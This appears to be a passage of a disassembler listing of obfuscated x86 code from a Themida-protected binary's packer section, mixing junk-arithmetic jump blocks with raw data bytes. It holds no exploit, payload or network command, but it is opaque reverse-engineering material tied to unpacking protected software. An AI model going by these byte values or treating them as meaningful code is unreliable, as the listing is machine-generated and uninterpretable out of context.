		dd 0E95F5457h, 0F12h, 3C87D7F7h, 24148B24h, 4C481h, 0F2810000h
		dd 1120A800h, 0FF1C5721h, 815A2434h, 4ECh, 242C8900h, 242C8B54h
		dd 5304C483h, 4BBh, 0E9DD0100h,	0FFFFBEEEh, 0C3E9E829h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AE6B:				; CODE XREF: Themida_:00554462j
		xor	esi, 7B043CE8h
		shr	esi, 6
		neg	esi
		jmp	loc_5531D0
; ---------------------------------------------------------------------------


loc_55AE7B:				; CODE XREF: Themida_:00553579j
		pop	ecx
		sub	ecx, 4768175Bh
		sub	ecx, edx
		push	eax
		mov	eax, 4768175Bh
		add	ecx, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		add	ecx, ebx
		add	ecx, 304D7C30h
		sub	ecx, 5E325F0Bh
		pop	ebx
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_551D34
; ---------------------------------------------------------------------------


loc_55AEB2:				; CODE XREF: Themida_:00559873j
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		mov	eax, [esp]
		push	edi
		jmp	loc_55C999
; ---------------------------------------------------------------------------
		dw 0EE00h
		dd 192C5966h, 1904F000h, 52C3305Ah, 88C78853h, 0E9505BFEh
		dd 7C1h, 2288EC88h, 582434FFh, 0FF04C483h, 0E9592434h
		dd 0FFFFBAA2h, 0B27107BEh, 0E9F389DFh, 0FFFF9F08h
byte_55AF10	db 0ACh			; DATA XREF: Themida_:0055071Co
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 2EEE6CBAh
		add	ebp, ebx
		add	ebp, 2EEE6CBAh
		pop	ebx
		sub	ebp, 4
		jmp	loc_551CC5
; ---------------------------------------------------------------------------


loc_55AF39:				; CODE XREF: Themida_:0055C99Bj
		push	ecx
		jmp	loc_553F25
; ---------------------------------------------------------------------------
		db 89h
		dd 8A682404h, 0E9000028h, 0FFFF8942h
; ---------------------------------------------------------------------------


loc_55AF4C:				; CODE XREF: Themida_:005545D3j
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	5469h
		mov	[esp], ebx
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55BDD6
; ---------------------------------------------------------------------------
		dw 8145h
		dd 594D6BE5h, 8EE9453Dh
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF7B:				; CODE XREF: Themida_:0055841Cj
		pop	esp
		push	4AF0h
		mov	[esp], ecx
		mov	ecx, 8000h
		and	eax, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 33E609B0h
		not	ebx
		shl	ebx, 3
		push	edi
		mov	edi, 5D5B4219h
		shl	edi, 3
		dec	edi
		dec	edi
		shl	edi, 4
		sub	edi, 4EF7E373h
		or	ebx, edi
		pop	edi
		inc	ebx
		push	esi
		mov	esi, 782C0DAAh
		sub	esi, 350F1CB9h
		xor	esi, 75540C45h
		add	esi, 6A052D64h
		inc	esi
		xor	esi, 0DEA190E3h
		sub	ebx, esi
		pop	esi
		add	edx, ebx
		jmp	loc_55BB2A
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 335D0000h, 1C31241Ch, 0B5B4E924h, 0E089FFFFh
		dd 405h, 4C08300h, 0E9240487h, 0FFFF8183h
; ---------------------------------------------------------------------------


loc_55B004:				; CODE XREF: Themida_:0055C3ACj
		pop	ebp
		jmp	loc_552B53
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0F1B28E4h, 0FF9D4BE9h, 4BBFFh, 0EE810000h, 47D51D8Ah
		dd 0FF7143E9h, 3CD35CFFh, 43E99C24h, 0F7FFFF7Eh, 0F7DFF7D7h
		dd 5AEF81DFh, 1D83336h,	76E95FFAh, 89FFFFD2h, 74FF240Ch
		dd 65E90424h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B04F:				; CODE XREF: Themida_:005591D7j
		shr	eax, 4
		jmp	loc_5571F7
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048324h, 242C8B04h, 4C481h, 0E5E90000h
		dd 5D000006h, 812BB53h,	0DD3129EEh, 0FFC184E9h,	240431FFh
		dd 8B240433h, 0F662424h, 9C2404ABh, 0FF5702E9h,	5FF989FFh
		dd 49ACC181h, 0CF01C0AAh, 45EF8159h, 5D059C09h,	2474FF57h
		dd 48F5F04h, 24248B24h,	240C8B66h, 0FFAA36E9h, 5EF301FFh
		dd 0B2B85057h, 0E96F9003h, 8EDh
dword_55B0C8	dd 0E92434FFh, 0FFFF9FE3h ; DATA XREF: Themida_:0055064Co
dword_55B0D0	dd 240C8B66h, 0E5368h, 240C8900h, 0FFD35FE9h, 468FFh, 815D0000h
					; DATA XREF: Themida_:005504D8o
		dd 3B63FCC3h, 78EB816Dh, 139B559h, 78C381EBh, 8139B559h
		dd 3B63FCEBh, 242C8B6Dh, 4C481h, 0FF530000h, 8B042474h
		dd 0C481241Ch, 4, 0FFD50FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B11D:				; CODE XREF: Themida_:00555DA7j
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5573FB
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 1673A324h, 24048133h, 18BA0E5Dh, 0FFE404E9h,	0FE5866FFh
		dd 0B4EF80C7h, 0C05BF988h, 0C98002E1h, 6E1C0BBh, 3086B050h
		dd 24048BC1h, 0FFCE14E9h, 5EF701FFh, 5D5FF989h,	1FE9C801h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B17B:				; CODE XREF: Themida_:005559A6j
		shr	eax, 10h
		xor	eax, ecx
		push	4956h
		mov	[esp], eax
		push	esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5575EE
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0FFF9E4E9h, 5E089FFh, 4, 405h, 0FC7E900h, 0EF810000h
		dd 2, 0E9243C87h, 0FFFFAFE3h
; ---------------------------------------------------------------------------


loc_55B1BC:				; CODE XREF: Themida_:0055272Fj
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		pop	eax
		pop	edi
		shl	eax, cl
		push	edi
		mov	edi, 1
		sub	eax, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_551C7F
; ---------------------------------------------------------------------------


loc_55B1E0:				; CODE XREF: Themida_:00558E5Dj
		add	edi, 96B8C6ACh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_55BFDA
; ---------------------------------------------------------------------------


loc_55B1F4:				; CODE XREF: Themida_:0055756Fj
		push	esi
		mov	esi, 2BE12CB4h
		sub	esi, 35630360h
		jmp	loc_552A1E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 29000000h, 0EE8158C2h, 3B351240h, 0C681D629h, 3B351240h
		dd 0E503E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B222:				; CODE XREF: Themida_:0055677Dj
		xor	ecx, 4B667DB2h
		sub	ecx, 17334738h
		sub	ecx, 569748B7h
		jmp	loc_558F7D
; ---------------------------------------------------------------------------


loc_55B239:				; CODE XREF: Themida_:0055C0DEj
		shl	ebp, 8
		sub	ebp, 5D6B600Bh
		shl	ebp, 2
		push	ecx
		jmp	loc_55223D
; ---------------------------------------------------------------------------


loc_55B24B:				; CODE XREF: Themida_:00554878j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_555F42
; ---------------------------------------------------------------------------


loc_55B262:				; CODE XREF: Themida_:00551DD4j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		push	606C4317h
		pop	ecx
		inc	ecx
		jmp	loc_55445C
; ---------------------------------------------------------------------------


loc_55B279:				; CODE XREF: Themida_:00554D9Bj
		pop	esi
		push	edi
		mov	edi, 549C5BD7h
		jmp	loc_55A902
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 83242489h, 8F042404h, 4812404h, 424h, 0A6E95900h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B29F:				; CODE XREF: Themida_:0055A7A7j
		mov	ebx, eax
		pop	eax
		xor	ebx, 216B2CB2h
		jmp	loc_5512AE
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 0Ch
		dd 0C0EAE924h, 1489FFFFh, 0DEB35324h, 0FFD817E9h
		db 0FFh
byte_55B2C1	db 68h,	10h, 13h	; DATA XREF: Themida_:00550578o
		dd 0DAE90000h, 81FFFF87h, 0C82830C5h, 0B8505B25h, 19C8521Eh
		dd 1F5F720Dh, 7851056Dh, 41354605h, 0E91F4440h,	0FFFF7D86h
		dd 240C8B5Ah, 0B3E8E957h, 595BFFFFh, 0B050665Bh, 9374E9F6h
		dd 0C381FFFFh, 4B333DD8h, 0EB81C329h, 4B333DD8h, 3C69C381h
		dd 0BA527FD0h, 6A047C2Ch, 0E95AD301h, 0FFFFDD39h, 5EE1815Fh
		dd 55708131h, 0D07217BDh, 6E5C112h, 60B3C581h, 0E7E91A95h
		dd 81FFFFF8h, 4D7067EDh, 0BAF58161h, 5246524Ch,	0DFDA15BAh
		dd 5AD5292Eh, 0FF7398E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B359:				; CODE XREF: Themida_:00552E49j
		push	1471h
		mov	[esp], ebp
		jmp	loc_55CA33
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 7E8C104h, 8C558E2Dh,	7BB30D07h, 8151512Ch, 4ECh, 0BFDFE900h
		dd 0ED68FFFFh, 89000032h, 0FF542434h, 815E2434h, 4C4h
		dd 0B6BB5300h, 4341B456h, 0FFFDF6E9h, 0F8CB81FFh, 4B53C100h
		dd 0EFAF381h, 0D92973FBh, 240C335Bh, 33240C31h,	895C240Ch
		dd 0B5E92434h, 81FFFF7Dh, 4C6h,	47E95000h
		db 5Ah,	2 dup(0FFh)
byte_55B3CF	db 0ACh			; DATA XREF: Themida_:005506B0o
		dd 662CB151h, 2CD4B252h, 0CE6DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B3DE:				; CODE XREF: Themida_:005532EEj
		pop	esi
		xchg	eax, [esp]
		pop	esp
		push	edi
		jmp	loc_55C7EA
; ---------------------------------------------------------------------------


loc_55B3E9:				; CODE XREF: Themida_:005534B9j
		sub	esi, ecx
		mov	ecx, [esp]
		jmp	loc_553C70
; ---------------------------------------------------------------------------
byte_55B3F3	db 0ADh			; DATA XREF: Themida_:00550510o
		dd 0FFF633E9h, 0C043B5FFh, 515002E5h, 0D1F633B1h, 0FE05E1C0h
		dd 5AC980C1h, 0C180C9FEh, 0E9CC881Eh, 0FFFFF92Dh, 0B8240489h
		dd 60403590h, 0DD06C335h, 0F7E1E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B42A:				; CODE XREF: Themida_:005579E7j
		mov	ebp, 12F21734h
		jmp	loc_5596D2
; ---------------------------------------------------------------------------


loc_55B434:				; CODE XREF: Themida_:005517FAj
		add	ebx, 503F77E8h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5580E4
; ---------------------------------------------------------------------------
		dd 89240C89h, 0B351E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B452:				; CODE XREF: Themida_:0055584Ej
		neg	ebp
		or	ebp, 589C31D9h
		not	ebp
		push	edi
		mov	edi, 729233A7h
		not	edi
		jmp	loc_556645
; ---------------------------------------------------------------------------
		db 5, 52h, 72h
		dd 0EC836EC0h, 24148904h, 5A6000BAh, 3EAC102h, 0D331DA31h
		dd 20E9DA31h, 1FFFF7Ch,	13895BDAh, 2434FF5Ah, 816AE95Bh
		dd 0C481FFFFh, 4, 0FFF5FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B4A1:				; CODE XREF: Themida_:00557D06j
		dec	esi
		jmp	loc_552572
; ---------------------------------------------------------------------------
		db 0FFh
		dd 565B2434h, 0BB53E689h, 43DC061Dh, 50BBCB81h,	0EB8110E1h
		dd 53FD56BBh, 815BDE01h, 4C6h, 24348700h, 9FE9555Ch, 50FFFF66h
		dd 9B2601B8h, 2DD8F740h, 0BF64D9FBh, 5158C301h,	0D41791B9h
		dd 3DE9810Eh, 0F7692026h, 0E9A4E9D1h, 0DD30FFFFh, 54F5805Bh
		dd 2BED80h, 148B59E8h, 4EC8124h, 89000000h, 0E6892434h
		dd 4C681h, 0C6830000h, 24348704h, 8124248Bh, 2ECh, 6C91E900h
		dd 0DDF7FFFFh, 0ED81EDD1h, 5BA750BAh, 0D9E9EA01h, 50FFFFC1h
		dd 690E9h, 241C8700h, 4C4835Ch,	8B2434FFh, 0C4832414h
		dd 296D6804h, 87E90000h, 9FFFFDCh, 0F6815FFEh, 19B61B99h
		dd 0EE81D6F7h, 0B9A9D24Bh, 5FB4C381h, 0F3296535h, 5FB4EB81h
		dd 335E6535h, 1C31241Ch, 241C3324h, 241C895Ch, 0C381E389h
		dd 4, 0E902C383h, 0FFFF9F19h
; ---------------------------------------------------------------------------


loc_55B598:				; CODE XREF: Themida_:00554457j
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 367F3407h
		jmp	loc_551985
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 30177BB1h, 7FFFF281h, 0D701BE7Fh, 0E957525Ah, 0FFFFE605h
		dd 0E904EF83h, 0FFFFF1AFh, 1F72EB81h, 0C3292E7Ch, 1F72C381h
		dd 66682E7Ch, 89000036h, 2BF243Ch, 81414741h, 0CC2C6EE7h
		dd 2FCF8130h, 813C005Bh, 0B52927EFh, 37BD55E5h,	0E9195863h
		dd 0FFFFA5C0h, 0E924248Bh, 0FFFF7492h, 81240C8Bh, 4C4h
		dd 8DFBE900h, 0E95CFFFFh, 0FFFF9975h, 89241C89h, 0D3AAE9E3h
		db 2 dup(0FFh)
word_55B622	dw 34FFh		; DATA XREF: Themida_:005505CCo
		dd 69E7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B62A:				; CODE XREF: Themida_:0055773Ej
		shl	edx, 8
		dec	edx
		jmp	loc_55BABB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 7DBD5500h, 8154122Dh, 0E21238F5h, 840DE92Dh, 0C481FFFFh
		dd 4, 0FFCB9FE9h
		db 0FFh
byte_55B655	db 64h,	66h, 0Fh	; DATA XREF: Themida_:005505F0o
		dd 686602B6h, 55E95750h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B663:				; CODE XREF: Themida_:00552B3Fj
		xor	ebx, edi
		pop	edi
		and	ebx, 418326E0h
		push	esi
		mov	esi, 0BFFF0E00h
		add	ebx, 29D42804h
		push	ebp
		mov	ebp, 573A24DEh
		jmp	loc_55B9F1
; ---------------------------------------------------------------------------


loc_55B683:				; CODE XREF: Themida_:0055B6ACj
		mov	eax, 5AF731Fh
		add	ebx, eax
		pop	eax
		add	ebx, 65020DBDh
		pop	ebp
		sub	ebx, 18E338EBh
		sub	ebx, eax
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	75933EABh
		jmp	loc_558FC6
; ---------------------------------------------------------------------------


loc_55B6AB:				; CODE XREF: Themida_:005596E0j
		push	eax
		jmp	loc_55B683
; ---------------------------------------------------------------------------
		db 53h,	88h, 0F7h
		dd 53FA8852h, 0D888D388h, 83241C8Bh, 8B5A04C4h,	2F68241Ch
		dd 8900007Eh, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h
		dd 0E924248Bh, 0FFFF7B86h, 8124048Bh, 4C4h, 4BF5700h, 0E9000000h
		dd 0FFFF8D0Ah, 405h, 24048700h,	6824248Bh, 4E23h, 0BA241489h
		dd 2, 0FFA3D3E9h
		db 0FFh
byte_55B715	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550670o
		dd 58545024h, 0FFEED8E9h
		db 0FFh
byte_55B721	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005506A0o
aS_6		db '$éÅ',0Ah,0
		align 2
		dw 4481h
		dd 55D50424h, 5C291791h, 6C810424h, 55D50424h, 535B1791h
		dd 0A324C8BBh, 245C2968h, 241C8B04h, 0E9E38953h, 0FFFFDD6Ah
		dd 7916BA52h, 0BAE91303h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B75F:				; CODE XREF: Themida_:00557C38j
		push	478Ch
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_557685
; ---------------------------------------------------------------------------
		db 5Ah,	52h, 0B2h
		dd 80DAF688h, 0B3E9E0F2h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55B78F:				; CODE XREF: Themida_:00553015j
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_550793
; ---------------------------------------------------------------------------
		dd 83E9F331h, 83FFFFE2h, 0C3302C1h, 0BB62E924h,	63BFFFFFh
		dd 0F7086C1Dh, 3CC781DFh, 89699A21h, 243C8BF9h,	0E9E28952h
		dd 0C7Ah
; ---------------------------------------------------------------------------


loc_55B7CC:				; CODE XREF: Themida_:005535FBj
		mov	ebp, 0BDE3346h
		add	ebp, 18377428h
		xor	ebp, 2AA81D29h
		shr	ebp, 1
		jmp	loc_5534A9
; ---------------------------------------------------------------------------
dword_55B7E4	dd 24048B66h, 0FFB609E9h, 10DC68FFh, 17E90000h
					; DATA XREF: Themida_:005506D4o
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7F7:				; CODE XREF: Themida_:0055AA1Cj
		sub	dword ptr [esp], 7FC255ADh
		jmp	loc_559EB6
; ---------------------------------------------------------------------------
		db 1
		dd 0CF015BDFh, 617BEF81h, 335937C3h, 3C31243Ch,	243C3324h
		dd 6624248Bh, 9C240421h, 0FF4F6EE9h, 326856FFh,	8B5BB447h
		dd 0C4812434h, 4, 0F681DEF7h, 13566E9Ch, 3052C681h, 0E6C133B8h
		dd 1CEE8103h, 29A6FC5Fh, 24348BF0h, 60A7E952h, 0C681FFFFh
		dd 61354868h, 39A468h, 24148900h, 5E08950h, 4, 42Dh, 0E533E900h
		dd 0EC81FFFFh, 4, 50241489h, 59F6BE56h,	0DEF7114Ah, 733DC681h
		dd 0F0897FD1h, 8124348Bh, 4C4h,	8BC28900h, 0C4812404h
		dd 4, 55D2F742h, 9A1076BDh, 0E9EA211Ch,	0FFFF9EF3h, 0CC01E951h
		dd 0E950FFFFh, 0FFFFC38Eh
; ---------------------------------------------------------------------------


loc_55B8C0:				; CODE XREF: Themida_:0055BDEAj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	97Fh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_559045
; ---------------------------------------------------------------------------
byte_55B8DB	db 8Bh			; DATA XREF: Themida_:00550610o
		dd 8953240Ch, 5BE952E3h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B8E7:				; CODE XREF: Themida_:00557404j
		xor	ecx, eax
		jmp	loc_551071
; ---------------------------------------------------------------------------


loc_55B8EE:				; CODE XREF: Themida_:0055BCD3j
		sub	dh, cl
		jmp	loc_55631B
; ---------------------------------------------------------------------------


loc_55B8F5:				; CODE XREF: Themida_:0055C670j
		sub	eax, 4
		push	eax
		jmp	loc_5534BE
; ---------------------------------------------------------------------------
word_55B8FE	dw 8B66h		; DATA XREF: Themida_:005505B0o
		dd 0EC83240Ch, 24348904h, 0FF595FE9h, 58C701FFh, 7F1EE953h
		dd 5159FFFFh, 268h, 6C34E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B922:				; CODE XREF: Themida_:0055AA27j
		shr	edx, 2
		jmp	loc_555B30
; ---------------------------------------------------------------------------


loc_55B92A:				; CODE XREF: Themida_:00555A1Cj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_554A95
; ---------------------------------------------------------------------------
		dw 0D2F6h
		dd 303DEA80h, 0C3805AD3h, 9FEB80BCh, 3080F380h,	52515BDCh
		dd 885019B2h, 58E188D4h, 8BCC305Ah, 3868240Ch, 0E9000059h
		dd 1F6h, 4472C381h, 8FE93192h, 0BAFFFFF6h, 0F014E14h, 0FF52C8E9h
		db 0FFh
byte_55B985	db 0ADh, 0E9h, 8Fh	; DATA XREF: Themida_:00550550o
		dd 59FFFF9Bh, 315D5E55h, 0D28BE9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B996:				; CODE XREF: Themida_:005520A8j
		or	eax, esi
		pop	esi
		add	eax, 7A45109Bh
		shr	eax, 6
		add	eax, 0FC36F5C2h
		add	ebp, eax
		pop	eax
		jmp	loc_55C373
; ---------------------------------------------------------------------------
		dw 172Ch
		dd 0FF650DE9h, 58C789FFh, 665FFB29h, 0D0E9008Fh, 87FFFF4Dh
		dd 895C243Ch, 5AE9240Ch, 0F6FFFFD0h, 80CBFED3h,	0C3FEFFEBh
		dd 0F649B450h, 1CC480D4h, 51A2CC80h, 0FF8940E9h
		db 0FFh
byte_55B9E9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005505B4o
		dd 0FF6976E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B9F1:				; CODE XREF: Themida_:0055B67Ej
		dec	ebp
		or	ebp, 6C6B0A34h
		dec	ebp
		add	ebp, 0C2B13977h
		jmp	loc_551ADF
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 0FFFFC2C2h, 0E9243489h, 0FFFFD1B3h, 0E9C7B753h
		dd 0FFFF7581h
; ---------------------------------------------------------------------------


loc_55BA1C:				; CODE XREF: Themida_:00558B22j
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 4F2B4EB5h
		shr	edi, 5
		or	edi, 146E3B78h
		shr	edi, 4
		xor	edi, 0FE980848h
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55716F
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 0FFFBABE9h, 84E940FFh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA57:				; CODE XREF: Themida_:00550C34j
		push	edx
		mov	edx, 268E5F9Ah
		add	ebp, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	22B2h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55BE4A
; ---------------------------------------------------------------------------


loc_55BA91:				; CODE XREF: Themida_:00553D2Dj
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553339
; ---------------------------------------------------------------------------
byte_55BA9B	db 0FFh			; DATA XREF: Themida_:00550728o
		dd 34813C77h, 0B01BC824h, 2434FF36h, 8124048Bh,	4C4h, 4C48300h
		dd 0EEE95456h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BABB:				; CODE XREF: Themida_:0055B62Ej
		push	ebp
		mov	ebp, 5A233F2Ah
		sub	ebp, 7CA15F65h
		add	ebp, 6F1966DCh
		jmp	loc_559E6D
; ---------------------------------------------------------------------------
		dw 0EA01h
aBQkSc		db 'ÂqkÞ',0Dh,'é–',0Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_55BADF:				; CODE XREF: Themida_:0055A7E8j
		add	ebp, 0FFFFFFFFh
		or	ebp, 3E23694Eh
		add	ebp, 35EE0F4Ah
		xor	ebp, 51F051EAh
		xor	ebp, 7E3D322Ah
		jmp	loc_55C2FB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0D15AFD2Dh, 5E8FE903h, 0D9F7FFFFh, 0F793C181h, 8DE96B4Ch
		dd 80000006h, 0CFFE9FF7h, 0EFD0C7FEh, 83EC780h,	0BF12E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB2A:				; CODE XREF: Themida_:0055AFD8j
		mov	ebx, [esp]
		jmp	loc_551F5A
; ---------------------------------------------------------------------------


loc_55BB32:				; CODE XREF: Themida_:005564ABj
		push	ebx
		mov	bl, 0BAh
		mov	ah, 85h
		jmp	loc_5554A0
; ---------------------------------------------------------------------------
		dd 68E9E630h, 89FFFF87h, 18EE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BB4A:				; CODE XREF: Themida_:0055C067j
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		push	edi
		jmp	loc_557D8A
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9562414h, 0FFFFE958h, 89FFE952h, 1489FFFFh, 81E28924h
		dd 4C2h, 4C28100h, 87000000h, 285C2414h, 9C2C58E7h, 9C04F800h
		dd 0F3C3805Bh, 0B9C380h, 43B450C3h, 0C0FFEC80h,	95E908E4h
		dd 8BFFFFACh, 89502434h, 405E0h, 12E90000h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBAB:				; CODE XREF: Themida_:00555763j
		mov	[esp], eax
		jmp	loc_550920
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C0F381DBh, 0F70AC377h, 60C381D3h, 2964A8DCh, 29E95BD9h
		dd 58FFFFAAh, 0FF9CA8E9h, 525854FFh, 0DDE950h, 535C0000h
		dd 0FFB60DE9h, 5BDD01FFh, 815DEA89h, 6D042444h,	29005807h
		dd 53042454h, 58076DBBh, 245C2900h, 8B5A5B08h, 0C4812404h
		dd 4, 7874B951h, 0C9811B75h, 168038Dh, 0FFFEF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC19:				; CODE XREF: Themida_:005534C3j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		xor	dword ptr [esp], 475126AFh
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0E2861B1h
		and	eax, 359B47ADh
		add	eax, 9A94DFBh
		neg	eax
		shr	eax, 8
		and	eax, 2740524Bh
		xor	eax, 471164EFh
		xor	ebp, eax
		pop	eax
		jmp	loc_550D55
; ---------------------------------------------------------------------------
aNh6p		db '­h6P',0             ; DATA XREF: Themida_:00550530o
		align 4
		dd 0E9243489h, 0FFFF8D67h, 91F2815Ah, 81393602h, 3A1ED2EAh
		dd 68555114h, 58A46B57h, 14F7555Dh, 0C5815D24h,	0F0311B4Ch
		dd 2C8BE989h, 4C48324h,	559CA01h, 54145473h, 0FFC8D0E9h
		dd 81E589FFh, 4C5h, 4C58100h, 87000000h, 835C242Ch, 895304C4h
		dd 3E950E3h, 0B8FFFFC5h, 72F5AA3h, 48BC289h, 7669E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BCC6:				; CODE XREF: Themida_:0055C007j
		mov	[esp], ax
		mov	al, 3Ah
		sub	cl, al
		pop	ax
		add	cl, 0F8h
		jmp	loc_55B8EE
; ---------------------------------------------------------------------------
		dd 4C281h, 2CE90000h, 0E9FFFF69h, 0FFFF4AABh, 0E9575166h
		dd 0FFFFED95h, 0A514C381h, 0D8E90001h, 51FFFFF0h, 503F17B9h
		dd 12E1816Ch, 813E9910h, 101016F1h, 8BCE012Ch, 0C481240Ch
		dd 4, 31243433h, 34332434h, 48F5C24h, 24248B24h, 0FF2434FFh
		dd 83582434h, 0EC8304C4h, 242C8904h, 0E9C2E954h, 0E952FFFFh
		dd 0FFFFFC37h, 8904EC83h, 74FF242Ch, 8F5D0424h,	248B2404h
		dd 0E1F76624h, 815B5453h, 4C3h,	0B8BF5700h, 8168B70Eh
		dd 0C45187EFh, 0E9C7814Fh, 81135B6Eh, 0B1D3E8C7h, 0B8E955D3h
		dd 89FFFFEBh, 29B3241Ch, 66B5E380h, 0C345E951h,	48FFFFFh
		dd 24248B24h, 0E9240C8Bh, 0FFFFDC7Dh, 0B4ACA81h, 0EA810A11h
		dd 41FB5D4Ah, 575AD301h, 0ACE9CF89h, 0BFFFFF9Eh, 4EB01152h
		dd 0FFF2D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BDBD:				; CODE XREF: Themida_:00557C49j
		xchg	ecx, [esp]
		pop	esp
		push	2746h
		mov	[esp], ebx
		push	400h
		pop	ebx
		and	eax, ebx
		jmp	loc_557342
; ---------------------------------------------------------------------------


loc_55BDD6:				; CODE XREF: Themida_:0055AF69j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_555870
; ---------------------------------------------------------------------------


loc_55BDE8:				; CODE XREF: Themida_:00557D97j
		push	ecx
		pop	edi
		jmp	loc_55B8C0
; ---------------------------------------------------------------------------
byte_55BDEF	db 8Bh			; DATA XREF: Themida_:005505D8o
		dd 57512404h, 0C781E789h, 4, 4EF81h, 3C870000h,	24895C24h
		dd 7E9DE924h, 0B850FFFFh, 77A62C6h, 0BE58C789h,	187406E1h
		dd 0F75FFE01h, 68D6h, 34290000h, 0B8505E24h, 8BB2EDAh
		dd 0E902E0C1h, 0FFFF8203h
